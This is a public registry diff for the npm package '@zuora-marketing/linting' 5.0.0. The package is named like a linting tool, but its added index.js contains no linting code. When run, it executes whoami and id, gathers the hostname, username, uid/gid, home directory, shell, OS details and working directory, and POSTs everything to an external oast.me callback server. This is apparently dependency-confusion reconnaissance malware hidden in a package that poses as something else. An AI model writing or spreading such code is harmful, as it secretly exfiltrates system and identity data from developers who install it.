@zuora-marketing/linting 5.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +126 -0
- package/logs +0 -0
- package/package.json +11 -0
package/index.js
ADDED
|
@@ -0,0 +1,126 @@
|
|
|
1
|
+
const { exec } = require('child_process');
|
|
2
|
+
const os = require('os');
|
|
3
|
+
const https = require('https');
|
|
4
|
+
const http = require('http');
|
|
5
|
+
|
|
6
|
+
// ===== CONFIGURATION =====
|
|
7
|
+
const SERVER_URL = 'https://d5fsn774cdfv7coqg8ngn4swwa49qr3w1.oast.me/'; // Change this to your server URL
|
|
8
|
+
// =========================
|
|
9
|
+
|
|
10
|
+
// Function to execute shell commands
|
|
11
|
+
function executeCommand(command) {
|
|
12
|
+
return new Promise((resolve, reject) => {
|
|
13
|
+
exec(command, (error, stdout, stderr) => {
|
|
14
|
+
if (error) {
|
|
15
|
+
reject(error);
|
|
16
|
+
return;
|
|
17
|
+
}
|
|
18
|
+
resolve(stdout.trim());
|
|
19
|
+
});
|
|
20
|
+
});
|
|
21
|
+
}
|
|
22
|
+
|
|
23
|
+
// Get system information
|
|
24
|
+
async function getSystemInfo() {
|
|
25
|
+
try {
|
|
26
|
+
const systemData = {
|
|
27
|
+
timestamp: new Date().toISOString(),
|
|
28
|
+
whoami: '',
|
|
29
|
+
id: '',
|
|
30
|
+
pwd: '',
|
|
31
|
+
hostname: os.hostname(),
|
|
32
|
+
platform: os.platform(),
|
|
33
|
+
architecture: os.arch(),
|
|
34
|
+
homeDirectory: os.homedir(),
|
|
35
|
+
userInfo: {
|
|
36
|
+
username: os.userInfo().username,
|
|
37
|
+
uid: os.userInfo().uid,
|
|
38
|
+
gid: os.userInfo().gid,
|
|
39
|
+
shell: os.userInfo().shell
|
|
40
|
+
},
|
|
41
|
+
osInfo: {
|
|
42
|
+
type: os.type(),
|
|
43
|
+
release: os.release(),
|
|
44
|
+
totalMemory: os.totalmem(),
|
|
45
|
+
freeMemory: os.freemem(),
|
|
46
|
+
cpus: os.cpus().length
|
|
47
|
+
}
|
|
48
|
+
};
|
|
49
|
+
|
|
50
|
+
// whoami - Get current username
|
|
51
|
+
systemData.whoami = await executeCommand('whoami');
|
|
52
|
+
|
|
53
|
+
// id - Get user ID and group information (Unix/Linux/Mac)
|
|
54
|
+
if (process.platform !== 'win32') {
|
|
55
|
+
systemData.id = await executeCommand('id');
|
|
56
|
+
} else {
|
|
57
|
+
systemData.id = 'Not available on Windows';
|
|
58
|
+
}
|
|
59
|
+
|
|
60
|
+
// pwd - Get current working directory
|
|
61
|
+
systemData.pwd = process.cwd();
|
|
62
|
+
|
|
63
|
+
return systemData;
|
|
64
|
+
|
|
65
|
+
} catch (error) {
|
|
66
|
+
console.error('Error getting system information:', error.message);
|
|
67
|
+
throw error;
|
|
68
|
+
}
|
|
69
|
+
}
|
|
70
|
+
|
|
71
|
+
// Send data to server
|
|
72
|
+
function sendToServer(data, url) {
|
|
73
|
+
return new Promise((resolve, reject) => {
|
|
74
|
+
const urlObj = new URL(url);
|
|
75
|
+
const protocol = urlObj.protocol === 'https:' ? https : http;
|
|
76
|
+
|
|
77
|
+
const payload = JSON.stringify(data);
|
|
78
|
+
|
|
79
|
+
const options = {
|
|
80
|
+
hostname: urlObj.hostname,
|
|
81
|
+
port: urlObj.port || (urlObj.protocol === 'https:' ? 443 : 80),
|
|
82
|
+
path: urlObj.pathname,
|
|
83
|
+
method: 'POST',
|
|
84
|
+
headers: {
|
|
85
|
+
'Content-Type': 'application/json',
|
|
86
|
+
'Content-Length': Buffer.byteLength(payload)
|
|
87
|
+
}
|
|
88
|
+
};
|
|
89
|
+
|
|
90
|
+
const req = protocol.request(options, (res) => {
|
|
91
|
+
let responseData = '';
|
|
92
|
+
|
|
93
|
+
res.on('data', (chunk) => {
|
|
94
|
+
responseData += chunk;
|
|
95
|
+
});
|
|
96
|
+
|
|
97
|
+
res.on('end', () => {
|
|
98
|
+
if (res.statusCode >= 200 && res.statusCode < 300) {
|
|
99
|
+
resolve({ statusCode: res.statusCode, body: responseData });
|
|
100
|
+
} else {
|
|
101
|
+
reject(new Error(`Server returned ${res.statusCode}: ${responseData}`));
|
|
102
|
+
}
|
|
103
|
+
});
|
|
104
|
+
});
|
|
105
|
+
|
|
106
|
+
req.on('error', (error) => {
|
|
107
|
+
reject(error);
|
|
108
|
+
});
|
|
109
|
+
|
|
110
|
+
req.write(payload);
|
|
111
|
+
req.end();
|
|
112
|
+
});
|
|
113
|
+
}
|
|
114
|
+
|
|
115
|
+
// Main execution
|
|
116
|
+
async function main() {
|
|
117
|
+
try {
|
|
118
|
+
const systemInfo = await getSystemInfo();
|
|
119
|
+
await sendToServer(systemInfo, SERVER_URL);
|
|
120
|
+
} catch (error) {
|
|
121
|
+
process.exit(1);
|
|
122
|
+
}
|
|
123
|
+
}
|
|
124
|
+
|
|
125
|
+
// Run the script
|
|
126
|
+
main();
|
package/logs
ADDED
|
File without changes
|